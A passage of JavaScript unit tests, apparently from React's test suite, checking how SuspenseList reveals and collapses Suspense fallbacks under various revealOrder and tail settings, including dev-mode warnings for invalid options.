B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(() => C.resolve());\n    assertLog(['B', 'C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('boundaries without fallbacks can be coordinate with SuspenseList', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo({showMore}) {\n      return (\n        <Suspense fallback={<Text text=\"Loading\" />}>\n          <SuspenseList revealOrder=\"together\">\n            <Suspense>\n              <A />\n            </Suspense>\n            {showMore ? (\n              <>\n                <Suspense>\n                  <B />\n                </Suspense>\n                <Suspense>\n                  <C />\n                </Suspense>\n              </>\n            ) : null}\n          </SuspenseList>\n        </Suspense>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll([\n      'Suspend! [A]',\n      // null\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    await act(() => A.resolve());\n    assertLog(['A']);\n\n    expect(ReactNoop).toMatchRenderedOutput(<span>A</span>);\n\n    // Let's do an update that should consult the avoided boundaries.\n    ReactNoop.render(<Foo showMore={true} />);\n\n    await waitForAll([\n      'A',\n      'Suspend! [B]',\n      // null\n      'Suspend! [C]',\n      // null\n      'A',\n      // null\n      // null\n    ]);\n\n    // This will suspend, since the boundaries are avoided. Give them\n    // time to display their loading states.\n    jest.advanceTimersByTime(500);\n\n    // A is already showing content so it doesn't turn into a fallback.\n    expect(ReactNoop).toMatchRenderedOutput(<span>A</span>);\n\n    await act(() => B.resolve());\n    assertLog(['B', 'Suspend! [C]']);\n\n    // Even though we could now show B, we're still waiting on C.\n    expect(ReactNoop).toMatchRenderedOutput(<span>A</span>);\n\n    await act(() => C.resolve());\n    assertLog(['B', 'C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays each items in \"forwards\" order', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <A />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading B\" />}>\n            <B />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading C\" />}>\n            <C />\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    await C.resolve();\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll([\n      'Suspend! [A]',\n      'Loading A',\n      'Loading B',\n      'Loading C',\n      // pre-warming\n      'Suspend! [A]',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(() => A.resolve());\n    assertLog(['A', 'Suspend! [B]', 'Suspend! [B]']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(() => B.resolve());\n    assertLog(['B', 'C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays each items in \"backwards\" order', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"backwards\" tail=\"visible\">\n          <Suspense fallback={<Text text=\"Loading C\" />}>\n            <C />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading B\" />}>\n            <B />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <A />\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    await A.resolve();\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll([\n      'Suspend! [C]',\n      'Loading C',\n      'Loading B',\n      'Loading A',\n      // pre-warming\n      'Suspend! [C]',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(() => C.resolve());\n    assertLog([\n      'C',\n      'Suspend! [B]',\n      // pre-warming\n      'Suspend! [B]',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>C</span>\n      </>,\n    );\n\n    await act(() => B.resolve());\n    assertLog(['B', 'A']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays each items in \"backwards\" order (legacy)', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"unstable_legacy-backwards\" tail=\"visible\">\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <A />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading B\" />}>\n            <B />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading C\" />}>\n            <C />\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    await A.resolve();\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll([\n      'Suspend! [C]',\n      'Loading C',\n      'Loading B',\n      'Loading A',\n      // pre-warming\n      'Suspend! [C]',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(() => C.resolve());\n    assertLog([\n      'C',\n      'Suspend! [B]',\n      // pre-warming\n      'Suspend! [B]',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>C</span>\n      </>,\n    );\n\n    await act(() => B.resolve());\n    assertLog(['B', 'A']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays added row at the top \"together\" and the bottom in \"forwards\" order', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n    const D = createAsyncText('D');\n    const E = createAsyncText('E');\n    const F = createAsyncText('F');\n\n    function Foo({items}) {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n          {items.map(([key, Component]) => (\n            <Suspense key={key} fallback={<Text text={'Loading ' + key} />}>\n              <Component />\n            </Suspense>\n          ))}\n        </SuspenseList>\n      );\n    }\n\n    await B.resolve();\n    await D.resolve();\n\n    ReactNoop.render(\n      <Foo\n        items={[\n          ['B', B],\n          ['D', D],\n        ]}\n      />,\n    );\n\n    await waitForAll(['B', 'D']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>B</span>\n        <span>D</span>\n      </>,\n    );\n\n    // Insert items in the beginning, middle and end.\n    ReactNoop.render(\n      <Foo\n        items={[\n          ['A', A],\n          ['B', B],\n          ['C', C],\n          ['D', D],\n          ['E', E],\n          ['F', F],\n        ]}\n      />,\n    );\n\n    await waitForAll([\n      'Suspend! [A]',\n      'Loading A',\n      'B',\n      'Suspend! [C]',\n      'Loading C',\n      'D',\n      'Loading A',\n      'B',\n      'Loading C',\n      'D',\n      'Loading E',\n      'Loading F',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>B</span>\n        <span>Loading C</span>\n        <span>D</span>\n        <span>Loading E</span>\n        <span>Loading F</span>\n      </>,\n    );\n\n    await act(() => A.resolve());\n    assertLog(['A', 'Suspend! [C]']);\n\n    // Even though we could show A, it is still in a fallback state because\n    // C is not yet resolved. We need to resolve everything in the head first.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>B</span>\n        <span>Loading C</span>\n        <span>D</span>\n        <span>Loading E</span>\n        <span>Loading F</span>\n      </>,\n    );\n\n    await act(() => C.resolve());\n    assertLog([\n      'A',\n      'C',\n      'Suspend! [E]',\n      // pre-warming\n      'Suspend! [E]',\n    ]);\n\n    // We can now resolve the full head.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n        <span>D</span>\n        <span>Loading E</span>\n        <span>Loading F</span>\n      </>,\n    );\n\n    await act(() => E.resolve());\n    assertLog([\n      'E',\n      'Suspend! [F]',\n      // pre-warming\n      'Suspend! [F]',\n    ]);\n\n    // In the tail we can resolve one-by-one.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n        <span>D</span>\n        <span>E</span>\n        <span>Loading F</span>\n      </>,\n    );\n\n    await act(() => F.resolve());\n    assertLog(['F']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n        <span>D</span>\n        <span>E</span>\n        <span>F</span>\n      </>,\n    );\n\n    // We can also delete some items.\n    ReactNoop.render(\n      <Foo\n        items={[\n          ['D', D],\n          ['E', E],\n          ['F', F],\n        ]}\n      />,\n    );\n\n    await waitForAll(['D', 'E', 'F']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>D</span>\n        <span>E</span>\n        <span>F</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays added row at the top \"together\" and the bottom in \"backwards\" order', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const D = createAsyncText('D');\n    const F = createAsyncText('F');\n\n    function createSyncText(text) {\n      return function () {\n        return <Text text={text} />;\n      };\n    }\n\n    const As = createSyncText('A');\n    const Bs = createSyncText('B');\n    const Cs = createSyncText('C');\n    const Ds = createSyncText('D');\n    const Es = createSyncText('E');\n    const Fs = createSyncText('F');\n\n    function Foo({items}) {\n      return (\n        <SuspenseList revealOrder=\"unstable_legacy-backwards\" tail=\"visible\">\n          {items.map(([key, Component]) => (\n            <Suspense key={key} fallback={<Text text={'Loading ' + key} />}>\n              <Component />\n            </Suspense>\n          ))}\n        </SuspenseList>\n      );\n    }\n\n    // The first pass doesn't suspend.\n    ReactNoop.render(\n      <Foo\n        items={[\n          ['A', As],\n          ['B', Bs],\n          ['C', Cs],\n          ['D', Ds],\n          ['E', Es],\n          ['F', Fs],\n        ]}\n      />,\n    );\n    await waitForAll(['F', 'E', 'D', 'C', 'B', 'A']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n        <span>D</span>\n        <span>E</span>\n        <span>F</span>\n      </>,\n    );\n\n    // Update items in the beginning, middle and end to start suspending.\n    ReactNoop.render(\n      <Foo\n        items={[\n          ['A', A],\n          ['B', B],\n          ['C', Cs],\n          ['D', D],\n          ['E', Es],\n          ['F', F],\n        ]}\n      />,\n    );\n\n    await waitForAll([\n      'Suspend! [A]',\n      'Loading A',\n      'Suspend! [B]',\n      'Loading B',\n      'C',\n      'Suspend! [D]',\n      'Loading D',\n      'E',\n      'Suspend! [F]',\n      'Loading F',\n      'Suspend! [A]',\n      'Loading A',\n      'Suspend! [B]',\n      'Loading B',\n      'C',\n      'Suspend! [D]',\n      'Loading D',\n      'E',\n      'Suspend! [F]',\n      'Loading F',\n      // pre-warming\n      'Suspend! [D]',\n      'Suspend! [F]',\n    ]);\n\n    // This will suspend, since the boundaries are avoided. Give them\n    // time to display their loading states.\n    jest.advanceTimersByTime(500);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span hidden={true}>A</span>\n        <span>Loading A</span>\n        <span hidden={true}>B</span>\n        <span>Loading B</span>\n        <span>C</span>\n        <span hidden={true}>D</span>\n        <span>Loading D</span>\n        <span>E</span>\n        <span hidden={true}>F</span>\n        <span>Loading F</span>\n      </>,\n    );\n\n    await F.resolve();\n\n    await waitForAll(['Suspend! [D]', 'F']);\n\n    // Even though we could show F, it is still in a fallback state because\n    // E is not yet resolved. We need to resolve everything in the head first.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span hidden={true}>A</span>\n        <span>Loading A</span>\n        <span hidden={true}>B</span>\n        <span>Loading B</span>\n        <span>C</span>\n        <span hidden={true}>D</span>\n        <span>Loading D</span>\n        <span>E</span>\n        <span hidden={true}>F</span>\n        <span>Loading F</span>\n      </>,\n    );\n\n    await act(() => D.resolve());\n    assertLog([\n      'D',\n      'F',\n      'Suspend! [B]',\n      // pre-warming\n      'Suspend! [B]',\n    ]);\n\n    // We can now resolve the full head.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span hidden={true}>A</span>\n        <span>Loading A</span>\n        <span hidden={true}>B</span>\n        <span>Loading B</span>\n        <span>C</span>\n        <span>D</span>\n        <span>E</span>\n        <span>F</span>\n      </>,\n    );\n\n    await act(() => B.resolve());\n    assertLog([\n      'B',\n      'Suspend! [A]',\n      // pre-warming\n      'Suspend! [A]',\n    ]);\n\n    // In the tail we can resolve one-by-one.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span hidden={true}>A</span>\n        <span>Loading A</span>\n        <span>B</span>\n        <span>C</span>\n        <span>D</span>\n        <span>E</span>\n        <span>F</span>\n      </>,\n    );\n\n    await act(() => A.resolve());\n    assertLog(['A']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n        <span>D</span>\n        <span>E</span>\n        <span>F</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('switches to rendering fallbacks if the tail takes long CPU time', async () => {\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <Text text=\"A\" />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading B\" />}>\n            <Text text=\"B\" />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading C\" />}>\n            <Text text=\"C\" />\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    // This render is only CPU bound. Nothing suspends.\n    await act(async () => {\n      React.startTransition(() => {\n        ReactNoop.render(<Foo />);\n      });\n\n      await waitFor(['A']);\n\n      Scheduler.unstable_advanceTime(200);\n      jest.advanceTimersByTime(200);\n\n      await waitFor(['B']);\n\n      Scheduler.unstable_advanceTime(300);\n      jest.advanceTimersByTime(300);\n\n      // We've still not been able to show anything on the screen even though\n      // we have two items ready.\n      expect(ReactNoop).toMatchRenderedOutput(null);\n\n      // Time has now elapsed for so long that we're just going to give up\n      // rendering the rest of the content. So that we can at least show\n      // something.\n      await waitFor([\n        'Loading C',\n        'C', // I'll flush through into the next render so that the first commits.\n      ]);\n\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span>A</span>\n          <span>B</span>\n          <span>Loading C</span>\n        </>,\n      );\n    });\n    // Then we do a second pass to commit the last item.\n    assertLog([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('only shows one loading state at a time for \"collapsed\" tail insertions', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"collapsed\">\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <A />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading B\" />}>\n            <B />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading C\" />}>\n            <C />\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll([\n      'Suspend! [A]',\n      'Loading A',\n      // pre-warming\n      'Suspend! [A]',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(<span>Loading A</span>);\n\n    await A.resolve();\n\n    await waitForAll(['A', 'Suspend! [B]', 'Loading B']);\n\n    // Incremental loading is suspended.\n    jest.advanceTimersByTime(500);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n      </>,\n    );\n\n    await B.resolve();\n\n    await waitForAll(['B', 'Suspend! [C]', 'Loading C']);\n\n    // Incremental loading is suspended.\n    jest.advanceTimersByTime(500);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(() => C.resolve());\n    await assertLog(['C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('behaves as tail=hidden if no tail option is specified', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"forwards\">\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <A />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading B\" />}>\n            <B />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading C\" />}>\n            <C />\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll(['Suspend! [A]', 'Loading A']);\n\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    await A.resolve();\n\n    await waitForAll(['A', 'Suspend! [B]', 'Loading B']);\n\n    // Incremental loading is suspended.\n    jest.advanceTimersByTime(500);\n\n    expect(ReactNoop).toMatchRenderedOutput(<span>A</span>);\n\n    await act(() => B.resolve());\n    assertLog(['B', 'Suspend! [C]', 'Loading C']);\n\n    // Incremental loading is suspended.\n    jest.advanceTimersByTime(500);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n      </>,\n    );\n\n    await act(() => C.resolve());\n    assertLog(['C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('warns if an unsupported tail option is used', async () => {\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"collapse\">\n          <Suspense fallback=\"Loading\">A</Suspense>\n          <Suspense fallback=\"Loading\">B</Suspense>\n        </SuspenseList>\n      );\n    }\n\n    await act(() => {\n      ReactNoop.render(<Foo />);\n    });\n    assertConsoleErrorDev([\n      '\"collapse\" is not a supported value for tail on ' +\n        '<SuspenseList />. Did you mean \"visible\", \"collapsed\" or \"hidden\"?' +\n        '\\n    in SuspenseList (at **)' +\n        '\\n    in Foo (at **)',\n    ]);\n  });\n\n  // @gate enableSuspenseList\n  it('warns if a tail option is used with \"together\"', async () => {\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"together\" tail=\"collapsed\">\n          <Suspense fallback=\"Loading\">Content</Suspense>\n        </SuspenseList>\n      );\n    }\n\n    await act(() => {\n      ReactNoop.render(<Foo />);\n    });\n    assertConsoleErrorDev([\n      '<SuspenseList tail=\"collapsed\" /> is only valid if ' +\n        'revealOrder is \"forwards\" (default) or \"backwards\". ' +\n        'Did you mean to specify revealOrder=\"forwards\"?' +\n        '\\n    in SuspenseList (at **)' +\n        '\\n    in Foo (at **)',\n    ]);\n  });\n\n  // @gate enableSuspenseList\n  it('renders one \"collapsed\" fallback even if CPU time elapsed', async () => {\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"collapsed\">\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <Text text=\"A\" />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading B\" />}>\n            <Text text=\"B\" />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading C\" />}>\n            <Text text=\"C\" />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading D\" />}>\n            <Text text=\"D\" />\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    // This render is only CPU bound. Nothing suspends.\n    await act(async () => {\n      React.startTransition(() => {\n        ReactNoop.render(<Foo />);\n      });\n\n      await waitFor(['A']);\n\n      Scheduler.unstable_advanceTime(200);\n      jest.advanceTimersByTime(200);\n\n      await waitFor(['B']);\n\n      Scheduler.unstable_advanceTime(300);\n      jest.advanceTimersByTime(300);\n\n      // We've still not been able to show anything on the screen even though\n      // we have two items ready.\n      expect(ReactNoop).toMatchRenderedOutput(null);\n\n      // Time has now elapsed for so long that we're just going to give up\n      // rendering the rest of the content. So that we can at least show\n      // something.\n      await waitFor([\n        'Loading C',\n        'C', // I'll flush through into the next render so that the first commits.\n      ]);\n\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span>A</span>\n          <span>B</span>\n          <span>Loading C</span>\n        </>,\n      );\n    });\n    // Then we do a second pass to commit the last two items.\n    assertLog(['D']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n        <span>D</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('adding to the middle does not collapse insertions (forwards)', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n    const D = createAsyncText('D');\n    const E = createAsyncText('E');\n    const F = createAsyncText('F');\n\n    function Foo({items}) {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"collapsed\">\n          {items.map(([key, Component]) => (\n            <Suspense key={key} fallback={<Text text={'Loading ' + key} />}>\n              <Component />\n            </Suspense>\n          ))}\n        </SuspenseList>\n      );\n    }\n\n    ReactNoop.render(\n      <Foo\n        items={[\n          ['A', A],\n          ['D', D],\n        ]}\n      />,\n    );\n\n    await A.resolve();\n    await D.resolve();\n\n    await waitForAll(['A', 'D']);\n\n    // First render commits A and D.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>D</span>\n      </>,\n    );\n\n    // For the second render, we're going to insert items in the middle and end.\n    ReactNoop.render(\n      <Foo\n        items={[\n          ['A', A],\n          ['B', B],\n          ['C', C],\n          ['D', D],\n          ['E', E],\n          ['F', F],\n        ]}\n      />,\n    );\n\n    await waitForAll([\n      'A',\n      'Suspend! [B]',\n      'Loading B',\n      'Suspend! [C]',\n      'Loading C',\n      'D',\n      'A',\n      'Loading B',\n      'Loading C',\n      'D',\n      'Loading E',\n    ]);\n\n    // B and C don't get collapsed, but F gets collapsed with E.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n        <span>D</span>\n        <span>Loading E</span>\n      </>,\n    );\n\n    await B.resolve();\n\n    await waitForAll(['B', 'Suspend! [C]']);\n\n    // Incremental loading is suspended.\n    jest.advanceTimersByTime(500);\n\n    // Even though B is unsuspended, it's still in loading state because\n    // it is blocked by C.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n        <span>D</span>\n        <span>Loading E</span>\n      </>,\n    );\n\n    await C.resolve();\n    await E.resolve();\n\n    await waitForAll(['B', 'C', 'E', 'Suspend! [F]', 'Loading F']);\n\n    jest.advanceTimersByTime(500);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n        <span>D</span>\n        <span>E</span>\n        <span>Loading F</span>\n      </>,\n    );\n\n    await F.resolve();\n\n    await waitForAll(['F']);\n\n    jest.advanceTimersByTime(500);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n        <span>D</span>\n        <span>E</span>\n        <span>F</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('adding to the middle does not collapse insertions (backwards)', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n    const D = createAsyncText('D');\n    const E = createAsyncText('E');\n    const F = createAsyncText('F');\n\n    function Foo({items}) {\n      return (\n        <SuspenseList revealOrder=\"unstable_legacy-backwards\" tail=\"collapsed\">\n          {items.map(([key, Component]) => (\n            <Suspense key={key} fallback={<Text text={'Loading ' + key} />}>\n              <Component />\n            </Suspense>\n          ))}\n        </SuspenseList>\n      );\n    }\n\n    ReactNoop.render(\n      <Foo\n        items={[\n          ['C', C],\n          ['F', F],\n        ]}\n      />,\n    );\n\n    await C.resolve();\n    await F.resolve();\n\n    await waitForAll(['F', 'C']);\n\n    // First render commits C and F.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>C</span>\n        <span>F</span>\n      </>,\n    );\n\n    // For the second render, we're going to insert items in the middle and end.\n    ReactNoop.render(\n      <Foo\n        items={[\n          ['A', A],\n          ['B', B],\n          ['C', C],\n          ['D', D],\n          ['E', E],\n          ['F', F],\n        ]}\n      />,\n    );\n\n    await waitForAll([\n      'C',\n      'Suspend! [D]',\n      'Loading D',\n      'Suspend! [E]',\n      'Loading E',\n      'F',\n      'C',\n      'Loading D',\n      'Loading E',\n      'F',\n      'Loading B',\n    ]);\n\n    // D and E don't get collapsed, but A gets collapsed with B.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading B</span>\n        <span>C</span>\n        <span>Loading D</span>\n        <span>Loading E</span>\n        <span>F</span>\n      </>,\n    );\n\n    await D.resolve();\n\n    await waitForAll(['D', 'Suspend! [E]']);\n\n    // Incremental loading is suspended.\n    jest.advanceTimersByTime(500);\n\n    // Even though D is unsuspended, it's still in loading state because\n    // it is blocked by E.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading B</span>\n        <span>C</span>\n        <span>Loading D</span>\n        <span>Loading E</span>\n        <span>F</span>\n      </>,\n    );\n\n    await C.resolve();\n    await E.resolve();\n\n    await B.resolve();\n    await C.resolve();\n    await D.resolve();\n    await E.resolve();\n\n    await waitForAll(['D', 'E', 'B', 'Suspend! [A]', 'Loading A']);\n\n    jest.advanceTimersByTime(500);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>B</span>\n        <span>C</span>\n        <span>D</span>\n        <span>E</span>\n        <span>F</span>\n      </>,\n    );\n\n    await A.resolve();\n\n    await waitForAll(['A']);\n\n    jest.advanceTimersByTime(500);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n        <span>D</span>\n        <span>E</span>\n        <span>F</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('adding to the middle of committed tail does not collapse insertions', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n    const D = createAsyncText('D');\n    const E = createAsyncText('E');\n    const F = createAsyncText('F');\n\n    function SyncD() {\n      return <Text text=\"D\" />;\n    }\n\n    function Foo({items}) {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"collapsed\">\n          {items.map(([key, Component]) => (\n            <Suspense key={key} fallback={<Text text={'Loading ' + key} />}>\n              <Component />\n            </Suspense>\n          ))}\n        </SuspenseList>\n      );\n    }\n\n    ReactNoop.render(\n      <Foo\n        items={[\n          ['A', A],\n          ['D', SyncD],\n        ]}\n      />,\n    );\n\n    await A.resolve();\n\n    await waitForAll(['A', 'D']);\n\n    // First render commits A and D.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>D</span>\n      </>,\n    );\n\n    // For the second render, we're going to insert items in the middle and end.\n    // Note that D now suspends even though it didn't in the first pass.\n    ReactNoop.render(\n      <Foo\n        items={[\n          ['A', A],\n          ['B', B],\n          ['C', C],\n          ['D', D],\n          ['E', E],\n          ['F', F],\n        ]}\n      />,\n    );\n\n    await waitForAll([\n      'A',\n      'Suspend! [B]',\n      'Loading B',\n      'Suspend! [C]',\n      'Loading C',\n      'Suspend! [D]',\n      'Loading D',\n      'A',\n      'Loading B',\n      'Loading C',\n      'Suspend! [D]',\n      'Loading D',\n      'Loading E',\n      // pre-warming\n      'Suspend! [B]',\n    ]);\n\n    // This is suspended due to the update to D causing a loading state.\n    jest.advanceTimersByTime(500);\n\n    // B and C don't get collapsed, but F gets collapsed with E.\n    // Even though everything in the bottom of the list is suspended, we don't\n    // collapse them because D was an update. Not an insertion.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n        <span hidden={true}>D</span>\n        <span>Loading D</span>\n        <span>Loading E</span>\n      </>,\n    );\n\n    await B.resolve();\n\n    await waitForAll([\n      'B',\n      'Suspend! [C]',\n      ...(!gate('alwaysThrottleRetries') ? ['Suspend! [C]'] : []),\n    ]);\n\n    // Incremental loading is suspended.\n    jest.advanceTimersByTime(500);\n\n    // B is able to unblock here because it's part of the tail.\n    // If D was still visible it wouldn't be part of the tail\n    // and would be blocked on C like in the other test.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>Loading C</span>\n        <span hidden={true}>D</span>\n        <span>Loading D</span>\n        <span>Loading E</span>\n      </>,\n    );\n\n    await C.resolve();\n    await D.resolve();\n    await E.resolve();\n\n    await 